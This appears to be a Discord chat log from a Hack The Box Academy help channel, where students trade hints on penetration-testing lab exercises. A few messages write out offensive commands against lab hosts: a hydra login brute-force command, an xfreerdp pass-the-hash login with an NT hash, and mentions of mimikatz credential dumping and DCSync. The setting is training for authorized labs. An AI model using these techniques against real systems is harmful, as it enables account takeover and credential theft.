[umbral fulcrum]

Hey guys I'm stuck on "Windows Privilege Escalation" ==>> "Other Files"

I'm trying to get Import-Module .\PSSQLite.psd1
but I get a massage I can't do it does anybody have an idea what's the problem ??
am I on the right track??

[fathom pendant]

C:\tools

[umbral fulcrum]

yes ...

[fathom pendant]

And it's in there as .psd1?

And not .ps1?

[umbral fulcrum]

I know I get an error massage ...

[umbral fulcrum]

it's Import-Module .\PSSQLite.psd1

I mean this suppose to B the way, no?!

[floral condor]

Hello everyone! Sorry if I'm off-topic.I want to gift two specific Modules as a present for a birthday. Is it possible to give modules as gift instead of a voucher of cubes?

[fathom pendant]

No

[floral condor]

so sad T_T

[umbral fulcrum]

is it not the correct way??

[next bronze]

what's the error you're getting?

[umbral fulcrum]

"Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your
computer. If you trust this script, use the Unblock-File cmdlet to allow the script to run without this warning
message. Do you want to run C:\Tools\PSSQLite\PSSQLite.psm1?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D"):"

[next bronze]

did you bypass execution policy

[umbral fulcrum]

when I try to run the bypass it gives me an error

[next bronze]

what's the error

[umbral fulcrum]

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a
policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution
policy of Unrestricted. Type "Get-ExecutionPolicy -List" to view your execution policy settings. For more information
please see "Get-Help Set-ExecutionPolicy".

[fathom pendant]

Are you running powershell as admin?

[prisma spruce]

Gift them a .edu email /s

[rustic sage]

hi

[umbral fulcrum]

I can't run it as admin...

[tender lake]

Anyone done Active Directory Enumeration and Attack recently?
I need a hand on the last 2 question of Skill assessment 2

[next bronze]

you shouldn't need admin privs for the process scope, use the bypass command as per the exercise, if it doesn't work, reset the target and try again

[umbral fulcrum]

by "use the bypass command as per the exercise" that U mean ||Set-ExecutionPolicy Bypass -Scope Process|| right?

[next bronze]

yes

it's a sqlite db, you can also use strings or the sqlite3 client, or just cat it

[umbral fulcrum]

yes but it need to B so simple
but it doesn't work driving me mad ...
maybe it's got 2 do with me location??
I don't know what els to do ...

[next bronze]

I don't get what you mean, there are multiple ways to read a sqlite db other than using that powershell module

[fathom pendant]

Not the right place to ask, read #welcome

[tender lake]

I need a hand with Active Directory Enumeration and Attack Skill Assessment 2, Question 11.
I have used Bloodhound and can see that the user C*** has ||Generic All over Domain Admins, which has Generic All over DC01|| When I try to use mimikatz as C* on MS01 I can't enter the password as it skips over the password prompt.
Am I doing something wrong here?

[naive wadi]

Ask the actual question and say what you've done,put spoilers in spoilers tags. You will be more likely to get help that way.

[naive wadi]

Youre really close maybe initiate a different session

In a different way

[tender lake]

I have tried with a netcat shell, but it results in the same thing

[tender lake]

And trying to do a ||DCSync|| with powerview just fails with

[tender lake]

at the first step

[naive wadi]

What's the exact question

[tender lake]

Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.

I cant seem to connect to DC01 or MS01 with the creds I found in the previous question...

[naive wadi]

Try a different session

Maybe search "session" on the modules pages to refresh your memory

[tender lake]

In the Active Directory module or another one? I havent found anything yet 😕

[naive wadi]

In the AD module

Its all in there

Everything you need to do

[proud notch]

I'm doing Footprinting Lab - Hard || I was able to find Tom's credentials, and SSH key using IMAP, and then SSH into the NIXHARD server|| from there I keep finding the hidden directories and subdirectories but nothing that's pointing me towards where I should go next. Can anyone provide a hint for the next step because I feel like I've hit a wall.

[gray merlin]

Check some of Tom's home files.

[tender lake]

Still stuck🙁

[tender lake]

Did you perhaps hint to ||Enter-PSSession|| ?

[proud notch]

I’ve found the flag.

[rustic sage]

o

bro im i verified

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cedar void]

Do you guys prefer using the HTB virtual terminal or your own terminal?

[rustic sage]

if you got free plan use your own terminal

[cedar void]

free plan?

[rustic sage]

i mean did you bought premium plan

[cedar void]

Yeah copying and pasting content from the resources section to the clipboard is starting to annoy me . Thats why I ask

[cedar void]

I am on the silvers plan

[rustic sage]

thats rank i guess

i mean do you pay any cash monthly into hackthebox

[spring viper]

I prefer my own terminal and my own box, learning how to manage and control your machine is a good skill 🙂

[rustic sage]

oh yeah thats true

[cedar void]

I already paid the annual payment to hackthebox academy and pay 20 dollars per month for just hack the box

[rustic sage]

hmm i see

[cedar void]

You use oracle vm?

[tender lake]

Managed to authenticate to ms01 as C** so I think that is progress

[sterile epoch]

I am stuck still in the password mutation section.
I tried enumerating the smb service with rpcclient for users from which I got user ||sam||
I then used that same user and used bruteforce with
crackmapexec ftp 10.129.x.x -u ||sam|| -p mutated.list | grep +
got nothing I even tried smb option in crackmapexec and then I tried combining both the passwor.list and user.list into 1 list and then mutating password with hashcat and then bruteforcing both the ftp and the smb services. please I need help for my sanity

[spring viper]

I use the base parrot instance and then just add things I use commonly and customize it to how I like it

ippsec has a good video about his vm and is a good place to start

[sterile epoch]

I use pwnbox as my current location from the servers is far so footprinting takes more than 1hr for full scans

[rustic sage]

im i verified

[sterile epoch]

not yet

[rustic sage]

how do i can see that

[sterile epoch]

any help with this I am stuck on this stupid question
Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer.

[sterile epoch]

your username will be the same color as mine. To verify yourself you need to go to botcommands and type /verify

[rustic sage]

what tool are you going to use for brute force

[rustic sage]

oh

[sterile epoch]

Tried both hydra and crackmapexec

[rustic sage]

did you got wordlist ?

[rustic sage]

also you know its case sensitive same as password and username

[sterile epoch]

yes from the resources mutated it then using hashcat

[rustic sage]

hmm

[sterile epoch]

username is mentioned in the question and just to be sure I found out user sam(mentioned in the question) using rpcclient

[spring viper]

I have my notes from that module up which section was it shade

[rustic sage]

hmm

[sterile epoch]

Module password attacks
section Password mutations

[spring viper]

o i think this was right b4 I started screenshotting the exercise question and answer rip

uh i remember the forums being very helpful for this

and that this section was easily the most annoying of the 28 cpts modules lol

[sterile epoch]

yes I am feeling it now stuck on it for 3 days I tried looking into the forums they said to enum ftp and I did just that

I am just sad at this point

[winter blaze]

Can anyone help me in mounting xxxxxxx.vhd file ? from the password attacks hard lab i tried this https://medium.com/@kartik.sharma522/mounting-bit-locker-encrypted-vhd-files-in-linux-4b3f543251f0 but did not work for me i receive this error https://medium.com/@kartik.sharma522/mounting-bit-locker-encrypted-vhd-files-in-linux-4b3f543251f0 and i did not found any resource about it

[umbral fulcrum]

Hey guys I'm stuck on "Windows Privilege Escalation" ==>> "Other Files"

trying to read the "plum.sqlite" according to the model but I can't make the "Set-ExecutionPolicy Bypass -Scope Process" command
any hints please ??
I stuck on this for to long ....

[cedar void]

nmap scan is a whole lot slower on the virtual machines I noticed

[spring viper]

I just did this one, the module tells you how to do it

@umbral fulcrum

like I did verbatim what the module said and it worked

[umbral fulcrum]

that the thing I'm doing it as the module say but I get error massages. ...

[spring viper]

is the error message you get that the scope is already unrestricted

I think we can post screens in here or you can dm me if you want

[dire lantern]

thxs!!

[cedar void]

Anyone experience this issue when running the crackmapexec on their own machine?

[sly dome]

nope

[cedar void]

Anyone have issues with not being able to log in chat gpt in their virtual terminal?

[rustic sage]

i got two virtual machine connected into same network and i use NAT so how do i can make contact with one virtual machine to two virtual machine

i mean with webserver localhost/127.0.0.1

[coral mulch]

hello...everyone

[vital adder]

through ipv4 but this isn't the right place to ask that, read #welcome and #rules

[vital adder]

use poetry
https://www.crackmapexec.wiki/getting-started/installation/installation-on-unix

[rustic sage]

oh my bad thanks

[heavy marsh]

Working on passwd, shadow and opasswd module and cant complete due to the following

I can only access the /etc/passwd file

the ones I need are not accessible without root

[sly dome]

enumerate is key 😛

hint: hidden stuff on linux hosts

[heavy marsh]

Yeah, I found the hidden stuff, thanks, just took me a minute

I was trying to follow the lesson, had to get creative instead

[sly dome]

always and creative = funnier

[ebon coral]

I recall this took a while to crack since there are lots of possible passwords. Try choosing the service that you can run the most threads on and then splitting the mutated passwords into multiple files since it's quite a lot. The mutated password list I have has ||90,000+|| lines

[heavy marsh]

DM me, I may be able to help. I just went through that same nonsense.

search "from: PNWAllstar" and look at my post for date/time — 11/01/2023 8:08 PM.

read from there and you'll figure it out. I went into a little detail on how I saved time instead of having to wait around forever. DM me if you need more assistance though.

You doing CPTS? If so I'm not too far ahead of you. Send a friend request if you want a study partner.

[heavy marsh]

For pass-the-hash, where do I even start with this question? " Access the target machine using any Pass-the-Hash tool. Submit the contents of the file located at C:\pth.txt."

RDP?

Okay, so I was able to use the "password" as a hash

Question is misleading, the "password" is actually a hash to use with impacket-psexec

[sly dome]

you can use a hash with xfreerdp

or any other tool you like

i did it with netexec for example

[acoustic owl]

Check username and password. They are not correct

[supple patio]

you sure winlogon is running on the system?

[quick magnet]

yes, i check in tasklist

try lsass and winlogon

[supple patio]

okay, i am not sure but after Get-Process winlogon shouldn't you specify the id?

[quick magnet]

try Get-Process winlogon
i got 3 winlogon process, try all of these still not work

[supple patio]

i mean you tried to use their ids right?

could you please show up tasklist also with them

yeah, it's correct

did you specify them in the above syntax?

instead of .id those pids

man, you didn't specify pid

yeah, weird

i got that

[quick magnet]

whats that

[supple patio]

that was quick

[quick magnet]

yea already try but not work

ok will try again

[tender lake]

After some rest I came to the conclusion: "Just because a user has rights over a group DOES NOT MEAN that they are in that group." So yeah, I'll try it out this afternoon and probs finish the last 2 questions.

[quick magnet]

thanks it work, i just missing double .

[supple patio]

glad to read it

[naive wadi]

Bingo

[thin cosmos]

Hi, I'm stuck on a question in the footprinting DNS module (What is the FQDN of the host where the last octet ends with "x.x.x.203"?), is it the right place to ask for help ?

[acoustic owl]

Yes, you've come to the right place.
You have to find all the zones

[thin cosmos]

I tried to brute force using about every hostname wordlist but I only targeted inlanefreight.htb, should I have looked for other domains?

[acoustic owl]

This zone gives you all the data voluntarily. So why do you want to bruteforce it?

[thin cosmos]

oh you're right, I was going in the wrong direction. I'm going to dig into zones more thoroughly and come back if I'm still stuck. Thanks for the guidance!

[stone kelp]

I am setting up my Burp Suite pro version which came with a tutorial video that how to set it up. I have also removed all old Java versions and installed the latest also it is not working. Can someone please help me with this?

[autumn pilot]

Are you using burp's official documentation?

[short hare]

Thank you
Got the password 💪

[frozen mesa]

LOGIN BRUTE FORCING --> skill assesment --> Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?

Hint: You may reuse the username you found earlier. Make sure you got the correct fail string and parameters.

Now I've tried the rockyou.txt and the lists made earlier in the module. No results i could use. What do i miss to get the correct fail string and parameters? Any nudge without too much spoiling?

[stone kelp]

No sir all files are provided by my institution.

[autumn pilot]

Wouldn't be better if you have reached out to the person who wrote those at your institution

as he will be the one knowing how to install the tool

[frozen mesa]

used command to brute force the first login page: ||hydra -l user -P /usr/share/wordlists/rockyou.txt 94.237.63.238 -s 45472 http-post-form "/admin_login.php:username=^USER^&password=^PASS^:F=<form name='login'"||

[stone kelp]

I am trying but response is very late

But if you are speaking, then I will try once more.😇

[vital adder]

next time add which skill assessment you are on and hint you are missing a ||-|| somewhere in your fail string, double check everything by logging the request with burp

[vital adder]

this is the doc for the install
https://portswigger.net/burp/documentation/desktop/getting-started/download-and-install
and this is the doc for some troubleshoot
https://portswigger.net/burp/documentation/desktop/troubleshooting

[stone kelp]

Thank you so much, sir. My professional Bup Suite has been Installed and set up successfully.

[scarlet iris]

Hi Everyone,
Does anyone got tips how to get NORTON 360 to stop blocking scripts like sqlmap run on VM ( Virtual Box)

[fathom pendant]

The fuck

[vagrant orbit]

Good morning everyone - is anyone able to help with the last question on WordPress - Discovery & Enumeration? I have found the plugin but can't find the version anywhere.

[next bronze]

why'd you have norton installed in your vm in the first place lol

[scarlet iris]

I dont have

[vagrant orbit]

To anyone stuck on this section - the hint is very helpful.

[next bronze]

so it's installed in your host os?

[scarlet iris]

Yes

[next bronze]

AVs can't block stuff from running in a vm, the problem is something else

[fiery berry]

I'm not sure about this, I have seen Bitdefender blocking for instance SQLmap requests running in VMs

[viscid mica]

Hello

[naive wadi]

Is nothing sacred

[next bronze]

if the traffic is sent through the academy vpn, I don't see how it can be examined by the AV

but if it's a problem, adding a whitelist to the vm ip should do it

[rustic sage]

Or is it just ne#

Hack the box must be down

[naive wadi]

have you performed local troubleshooting? that's the first step, rule out your network. I would alos move to #general for this type of discussion

[rustic sage]

Sure did

Something is wrong

Ah here we go

It wasn’t long but it was def sputtering

Sry thanks

Ok this site is def down

[gray basalt]

yeah

[rustic sage]

Someone needs to wake up lol

[vital adder]

@rustic sage this isn't the place for that, read #welcome and #rules after that use /verify at #bot-commands and if you have questions about boxes ask that in #boxes and #general for general stuff like are boxes slow or is the site is down

[rustic sage]

Ok I have no further comments

Thank you

Sorry about that

[digital junco]

Hello guys, how are you?
I'm trying to answer a question about the Web Proxy module:

Try running 'auxiliary/scanner/http/http_put' in Metasploit on any website, while routing the traffic through Burp. Once you see the requests sent, what is the last line in the request?

Using Burp I was able to respond easily, but when I try to use ZAP the request doesn't even appear?
Can someone help me?

[rustic sage]

Screen shot ?

[digital junco]

of what?

the Metasploit is configured correctly because I was able to capture the request with burp

The issue is with ZAP, I already researched and tried to resolve it but I couldn't

[misty current]

Screenshot of the proxy configuration (whichever tool or metasploit options you're using) and ZAP's proxy listener setting.

[rustic sage]

Yup

[main spear]

Does someone have a problem with the SQL part of "Attacking Common Services" ? I can't connect to the windows machine provided by HTB "Incorrect Password"

[misty current]

I wonder, do you have burp listener running on the same port as well?

If you opened Burp before ZAP and still have it running in the background. Your traffic are probably passed through Burp instead of ZAP.
Not sure if that's the case for you. Can you confirm.

[lime yew]

Hi! Question for Module "INTRODUCTION TO MALWARE ANALYSIS" -> "Dynamic Analysis".

In the Module instructions is written the following:

1. Run Noriben via CMD ✅
2. This Opens ProcMon ✅
3. Execute the malware "shell.exe" by double clicking it ✅
4. There will be a popup by shell.exe that its terminating because of sandbox env recoginition ✅
5. Now i should terminate ProcMon and after that i should Control+C the Noriben CMD ✅
6. There should be a .txt file created by Noriben, but that isnt the case at my VM. (i got two error messages when terminating Noriben, see below) 🚫

Error Messages:

Anyone know what i am doing wrong?

[pulsar dirge]

Anyone I can DM about Client-Side Prototype Pollution?

[digital junco]

After getting the answer with Burp, I closed it. I don't know if after closing it some daemon is running in the background, but at first, when I test with ZAP, Burp is closed

Apparently the request doesn't even want to go through ZAP because metasploit doesn't wait for a forword.

[misty current]

Well, if you closed the application, then I don't think the listener would still be in place. But, try a different port just so.

[digital junco]

I already tried my friend, but thanks anyway

[lime yew]

nvm just had to wait after terminating procmon a few seconds

[digital junco]

It seems that some additional configuration in ZAP is necessary.

in the browser both work perfectly, the problem is when I use msfconsole, only Burp works with it.

and I don't know why lol

[misty current]

Optionally, you can try running metasploit with proxychains.

[digital junco]

I see...

[quick crane]

who can help me to finish xml langue in this module,thanks every bro https://academy.hackthebox.com/module/216/section/2300

[worthy laurel]

is htb academy down?

[opal jewel]

While submitting an answer to a module question my access was blocked by Cloudflare. Can anyone see what happened?

[daring osprey]

Just got blocked as well.

[opal jewel]

Perhaps its just an issue on their side then

[daring osprey]

Cloudflare ended up blocking access to Discord earlier in the month.

For a lot of users.

[rustic sage]

I’m blocked

[bleak willow]

Hi, I'm blocked in the academy, I've just refreshed the page while the machine was launching cuz i have an error message box. What should I do?

[rustic sage]

What the hell is wrong with hack the box today my gosh

Jesus Christ

[daring osprey]

It's probably a Cloudflare issue.

[bleak willow]

You too? holy molly

[rustic sage]

They are gone to shit today

[quick crane]

who can help me

[bleak willow]

a temporal problem maybe?

[dark nova]

i come here for the same reason, nvm will pop back later

[stuck ibex]

yea

me 2

[dreamy solar]

Hello I was doing my exercises when suddenly ...

[rustic sage]

Same

i was very happy untill

[stuck ibex]

😄

[bleak willow]

I'm having a deja vu kekw

[rustic sage]

i'm glad i though i was the only one lOL

[stuck ibex]

yea, something wrong with htb today

[rustic sage]

I was almost done w this box too

[bleak willow]

Me too

[rustic sage]

It was rough had me sweating like Epstein in prison until..

it's time to go outside i guess

[dreamy solar]

[rustic sage]

Hell no

[dark nova]

dam thought i had finally shown signs of a certified pentester

[rustic sage]

Sun bad

Box good

[worthy laurel]

ohhh fixed

[stuck ibex]

i was doing sql injection, i thought it was only me)

[dark nova]

can confirm fixed

[stuck ibex]

yea

[rustic sage]

life is too short make sure you spend as much time as you can front of your PC

[bleak willow]

It's working now

https://tenor.com/view/frankenstein-its-alive-happy-excited-gif-5625959

[rustic sage]

Ugh

back to suffering i guess

For now

[bleak willow]

yap

[rustic sage]

It was bad an hour ago

Endless waiting to spawn

[rustic sage]

So that was a lie

[bleak willow]

dunno, it's working perfectly with me

[pulsar dirge]

I have a URL payload that executes XSS through Prototype Pollution on my end, but when I send it to the admin to report the URL, nothing happens. Any help? The challenge is Client-Side Prototype Pollution from the Whitebox Attacks module.

[umbral fulcrum]

hey guys in module "Windows Privilege Escalation" ==>> "Pillaging" I can't move the "cookies.sqlite" file

any hints??

[ionic summit]

i really wish modules had videos, god knows i read slow

[lime yew]

Anyone knows why i cant rename a subroutine in IDA during Malware Analysis (Module: Introduction to Malware Analysis).
I have the field open, but cant change anything (in the Module they just clicked "Rename" and say change it and enter)

[rustic sage]

my mom said hacking is bad and i cantg hack no moreeeeeeeeeeeeeeeeeeeeeee:((((((((((😭
https://tenor.com/view/sad-meme-gif-22168680

so bye forever

[grizzled schooner]

Enumerating SMTP, machine is unreachable on ping, nothing works. Reset machine twice, made sure I am connected to ovpn... Any ideas?

[umbral fulcrum]

?

[sly dome]

sent u a DM

[solid escarp]

Unfortunately there are no hacks to bypass parents 😦

[sterile epoch]

Hi I am stuck in the password attack module password mutation section I need help please

[sterile epoch]

This is what I did

[rustic sage]

Hi Guys, beginner here, in the web requests modules I'm a little confused as to what url we are exactly curling for the download.php file

[dreamy solar]

Hello I have a problem here I recovered Jason's password but I can't connect via ssh with

[fathom pendant]

Lowercase

[lime yew]

Hi Assembly Question:

in the Module "Introduction to malware analysis" is written, that this function is giving the "ping" command a 5 second sleep timer.
When i google the command -n 5 it says, that its sending 5 pings.

So where is the 5 seconds sleep timer in that code i posted????

[woven copper]

oh you should research what "ping -n 5 <ip>" does
or just try by yourself in a terminal.

[fathom pendant]

No one is gonna wanna dm you without more specifics of what you've tried and what hasn't worked

[thorn urchin]

esp for skill assessments

[lime yew]

its sending 5 pings, 1 every second. But that is not a sleep timer for me. In the Module its written its doing a sleep duration of 5 seconds. But thats not the case if its only the command "ping -n 5 <ip>". Because then its active for 5 seconds and not sleeping. When we are doing that logic, the sleep timer would be active if the function is not executed, but that is not defined with 5 seconds, thats unknown.

So - thats not about HTB Module is wrong or something like that, dont wanna blame anybody. I just wanna know if i am wrong or if i dont see anything in the assembler code i posted that i should have seen to realize that its a 5 second sleep.

[fathom pendant]

It looks like your mv command is missing a destination file operand ... reading is hard sometimes

You're also not adding the / after tmp to designate you are moving the file to a directory which is also part of the error

[stoic hare]

Hi i am stucked on this exrs:
Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file.

I have already tried where /R C:\ waldo.txt and where waldo.txt, that doesn't work

[lime yew]

Which Module and Section?

[stoic hare]

INTRODUCTION TO WINDOWS COMMAND LINE
Finding Files and Directories

[lime yew]

Did you connected to the TargetHost via SSH?

[stoic hare]

yes, I can't attach a screenshot here

[woven copper]

If the explanation isn't right or could be better, suggest an edit on the module https://discord.com/channels/473760315293696010/858470491676737536

[arctic junco]

https://academy.hackthebox.com/achievement/1009496/147

Is anyone available to talk about the Admin path? I think I went the long way.

[fast shadow]

At ATTACKING WEB APPLICATIONS WITH FFUF module, I have added target machine IP and academy.htb to /etc/hosts, but I can't verify it by visiting academy.htb:<port from target machine> when I used my own connected VM by HTBA VPN or HTBA machine. What did I miss?

[sly dome]

wdym xd

[lime yew]

Just a hint. Assume i have a file called "MGM.png" on my Desktop.

To find it via command line, i would use the command
where /R C: MGM.png
(Important: There is a space between C: And MGM.png

What does this? It looks in C: and all Subfolders if there is a file called MGM.png

[sly dome]

the '\' is not necessary

but it works with it

i dont know

[stoic hare]

I have tried it too, but still getting negative response. Could you connect to this station and check pls?

thx

[lime yew]

Did you found your mistake?

[stoic hare]

yeah

[fast shadow]

solved, i removed IP PORT from /etc/hosts

[tender lake]

Could get the ||PSSession|| stuff to work in evil-winrm, got to RDP to the box and from there I figured the rest out for the second to last question. Thanks for the nudge and all.

[naive wadi]

No worries. It was the most I could nudge without giving the actual answer.

Glad you figured it out

[compact jacinth]

Hi im doing the web proxies module, i doing this question Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag. I have loaded the payload and everything as it told me but the target i dont understand.
I did http://94.287.54.59:33851/§admin§/ but it didnt work and i tried like everything but i dont get how i choose where it is supposed to fuzz?

[raven locust]

hey, anyone around to give me a hand on the command injection module's skill assessment? i feel like i've figured out the injection point and the operator, but i'm stuck trying to get /flag.txt to display and i'm not sure how to continue from here

i had a similar problem, swapping region helped my case

[raven locust]

solved!

[slender wolf]

Password Attacks -Network Services

Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.

I am able to login into the smbclient but the flat.txt file is blank am I missing something?

any context clues would be appreciated not looking to the answer but maybe a slap in the face lol

[compact jacinth]

hi im doing web proxies atm, I dont get how i put the right target when im suposed to be in admin directory
i did http://94.287.54.59:33851/§admin§/ and tried every variation of this but i dont get how to do it right

[tidal kelp]

Module: SQLMap Essentials
Session: Attack Tuning
Flag6 - Should I somehow be able to figure out what prefix to use? I get it from the Hint but I dont really get how I should know that that's the prefix to use?

[arctic junco]

do you mean flag.txt or flat.txt?

[slender wolf]

flag.txt my apologies

[arctic junco]

you can dm I just finished that module

[supple patio]

hi, could you send the screenshot how it looks in your repeater)

[sleek beacon]

Module broken Authentication:
Create a token on the web application exposed at subdirectory /question1/ using the Create a reset token for htbuser button. Within an interval of +-1 second a token for the htbadmin user will also be created. The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug. Forge a valid token for htbadmin and login by pressing the "Check" button. What is the flag?
I tried to modify the reset-token_time.py but still didnot get teh valid token. Anyone with modified script will be great or any help will be appreciated.

[rustic sage]

Normalize not calling hard boxes easy on HTB

[fathom pendant]

Sounds like a skill issue. HTB boxes difficulty scale is different from other platforms

[rustic sage]

Easy is medium

Medium is hard

[analog dock]

Depends

All relative

[fathom pendant]

But also not the place to voice your complaints

Read #welcome to figure out how to gain access to more of the server

[rustic sage]

Ok dad

[supple patio]

xd

[fathom pendant]

you're talking about boxes in the academy chat my guy ¯_(ツ)_/¯

But I understand that reading comprehension may be hard for you

[rustic sage]

lol you don’t know who I am

[fathom pendant]

And frankly my dear, I don't give a damn

[rustic sage]

We don’t need ad hom attacks

[fathom pendant]

Then read #welcome and take your complaints to the proper channel lol

It's really that simple

[rustic sage]

Yo cut the fucking attitude

I got the point calm down

[fathom pendant]

Nah I'm good

[grizzled schooner]

Genuine Module question : SMTP - trying to connect to SMTP as the academy suggested through ||telnet|| (only thing I saw in academy to connect) and connection won't work... Am I missing something? Tried ||telnet <ip> 25 and 581||

[steady fox]

Is there any way to find what part of modules got updated? I’m doing the CPTS path and I see that several modules I’ve finished received updates.

[acoustic owl]

https://academy.hackthebox.com/modules/changelog

[compact jacinth]

hi im doing web proxies atm, I dont get how i put the right target when im suposed to be in admin directory
i did http://94.287.54.59:33851/§admin§/ and tried every variation of this but i dont get how to do it right

[fathom pendant]

Should work with 25

[grizzled schooner]

Should I only need ||telnet <ip> 25?||

[fathom pendant]

That's what's shown in the section yeah

[spiral spoke]

Hello everyone! I've already learnt how to run the scp command

Module: Linux File Transfer Methods

Actually it works when I run it on my own machine to download and upload files but when I run it on the remote machine to transfer files it doesn't works!

I don't know why, could be because of SSL/TLS certificate
Is this normal or is there a way to make this works on the remote machine?
(Btw, I put 0.0.0.0 because the ssh server is listening on it)

[fathom pendant]

Don't use 0.0.0.0, that's just shorthand for all interfaces

[fathom pendant]

Also don't need ssh running on your system, the schema is scp source destination you can run it from your machine as long as there is ssh connection

[runic remnant]

Was doing the "Attacking Common Services" and under "Attacking SMB", the last question, I cant connect to ssh. Wondering if its htb or me. (I got the previous two questions correct and tried to ssh into the ip several times.

[cedar void]

the SCP command is not going to work if you dont have port 22 as an open port right?

[thorn urchin]

No, scp is not going to work if the target youre scp into doesnt have SSH service listening

port 22 is just the default ssh port

[cedar void]

Could this 'python3 -m http.server' transfer comman work the port number 80 not being on your target machine as an open port?

[thorn urchin]

you can specify a port with http.server

creating the service is what opens the port

you seem to have a misconception that ports and services are two seperate things

theyre not

[neat sky]

how do i complie c# programs like sharpup on a linux machine everything i tried gives me an error

[sly dome]

you do not

[spring viper]

you would use visual studio

[neat sky]

so i just transfer the exe over

[sly dome]

yes

[spring viper]

if you have a pre-compiled exe you can move it over using any available file transfer method ya

[neat sky]

noob question what would be the easiest way to get it from host windows to vm kali transfer

[sly dome]

i usually drag and drop

[spring viper]

you can enable drag and drop in the vm settings

[neat sky]

tried it i dont i have bidirectional turned on but dont work for me

[sly dome]

you also can use smbserver.py

[spring viper]

or if you plan to do this often you can setup a shared folder from your vm to your host

[sly dome]

even a simple http server

do what fits you

[spring viper]

prob look into fixing the drag and drop thing tho, that is pretty handy

[sly dome]

yup

[tight mesa]

Hi everyone....

anyone who remember the ippsec video where he compress a file..!!!

I'm having issues to upload secretsdump.exe to a Windows machine

[heavy marsh]

Anyone having issues with the password attacks passthehash (pth) lab?

xfreerdp is not working for the third question

Trying xfreerdp /v:<ip> /u:Administrator /p:30B3783CE2ABF1AF70F77D0660CF3453 /dynamic-resolution

getting

what I am expecting is an RDP window like I had last night.

I changed my server, redownloaded the vpn file, restared the vpn, and restarted the machine in the lesson. Still nothing

[supple patio]

why are you using flag /p:?

[heavy marsh]

for the password

[supple patio]

how did you access the lab for 1st and 2nd question then?

[supple patio]

use /pth:

instead of /p:

[sly dome]

read the section

you need to enable something from the Windows registry

[heavy marsh]

I can't even RDP to begin with though.

[sly dome]

and

[heavy marsh]

How do I enable it without RDP access

[sly dome]

do it from other code execution tool that allows pass the hash (evil-winrm, psexec.py, netexec, crackmapexec)

[heavy marsh]

it worked fine yesterday

[sly dome]

yday you were using password

today is a hash

which is kind of the same but subtle differences are reflected in getting access denied because admin restricted mode only allow certain authentication methods by default

all of this is explained in the module

try to take notes and understand the underlying of the topic

[supple patio]

it was discussed in the section...

[heavy marsh]

They're saying to use a password, not a hash

I have access through impacket-psexec and am able to use mimikatz, I'm just stuck on why RDP is not working

Okay, figured it out. By "password" they mean "hash"

Same thing I ran into last night

[thorn urchin]

yeah didnt we cover this last night??? Whyd that throw you off

[heavy marsh]

Yeah, should have looked back to the previous question's wording.

So now that I'm in the RDP session, how do I extract hashes from the "current session"?

All this lesson shows is "pass the hash with mimikatz"

Tried this with no luck

[supple patio]

Wasn't it also discussed in this section?

[heavy marsh]

Where?

[supple patio]

Did you try sekurlsa::logonpasswords?

[heavy marsh]

No, what module was that in?

[heavy marsh]

What is going on with this lab?!?!

where is the help?

This is a joke isn't it

[heavy marsh]

is it?

THIS is what fixed it

Not covered in the module.

[thorn urchin]

Its covered in the Password Attacks module which assumed prior knowledge. Additionally mimikatz is not a required method for the lab. You could have used impacket which is taught in the module

oh my bad you are in password attacks

lmao its taught in the module dude

[compact jacinth]

I am doing web proxies module and Im supposed to look in the /admin directory. How do i choose to look in there with burp? I did http://ip:port/admin$ I put the target at the end but didnt work and i tried everything help

[supple patio]

My man seems like not reading

[heavy marsh]

Where? I had to Google it.

[heavy marsh]

That is nowhere in the PtH module. I triple checked.

[fiery berry]

It is indeed in the PtH module

[median kestrel]

I am having this same issue. Did you ever figure it out?

[upbeat osprey]

Module : Introduction to Forensics
Section : Final assessment
Hello, I started the final assessment but I don't find how to get IP of C2. Can someone help me ?

• I don't have any tools on the rdp ?

[quick magnet]

module: windows priv
section: Weak Permissions
already add htb-student on localgroup admin, but i cant doing secretdump, any hint please ?

[sly dome]

the logonpasswords from mimikatz? i had to also Google it

its not explicitly explained but idk 🤷

[frozen mesa]

HACKING WORDPRESS --> Keep in mind the key WordPress directories discussed in the WordPress Structure section. Manually enumerate the target for any directories whose contents can be listed. Browse these directories and locate a flag with the file name flag.txt and submit its contents as the answer.

Looked in all the listed dirs and files mentioned in the structure part of module. But i cannot find any text that looks like flag.txt

I've also used cURL to view the dirs ( html2text)

[rustic sage]

will academy ever improve the search ?

[autumn pilot]

what kind of an issue are you experiencing with the search functionality

[rustic sage]

not issue, but i hope the search display gets better

i think it can be far better

looks wise

[autumn pilot]

feel free to bring it up via the support chat on the website

they will be able to forward it to the appropriate people

[rustic sage]

Ah that would be nice, i will

[wild thistle]

guys Why my computer keeps blue screen and shows different codes

[frozen mesa]

Hacking wordpress --> login --> Search for "WordPress xmlrpc attacks" and find out how to use it to execute all method calls. Enter the number of possible method calls of your target as the answer.

Can someone explain me where to search? Just a random search engine? Because that did not gave me any relevant results.

[slender shoal]

yeah I feel the same about the search

[autumn pilot]

put your feedback through support as well

[slender shoal]

is there a specific link? or just the green bubble

[autumn pilot]

green bubble for the win

they will be able to hear your opinion and aggregate the data of the people who put feedback, for example on the search's functionality

[sly grotto]

do attacking common services - attacking ftp have problem?
there is no ftp service up

[fathom pendant]

Reinstall winders

[frozen mesa]

What did i do wrong? Search for "WordPress xmlrpc attacks" and find out how to use it to execute all method calls. Enter the number of possible method calls of your target as the answer.
HACKING WORDPRESS -- login

[fiery berry]

There is no space between the body and the headers of the POST request

[frozen mesa]

Simple but works 🙂

[distant moat]

I'm having issues to upload secretsdump.exe to a Windows machine the AD enum & attack skill assessment

[fathom pendant]

Google "how to zip file linux"

Or run a python http server from that directory and do a web request to get it

[distant moat]

yes

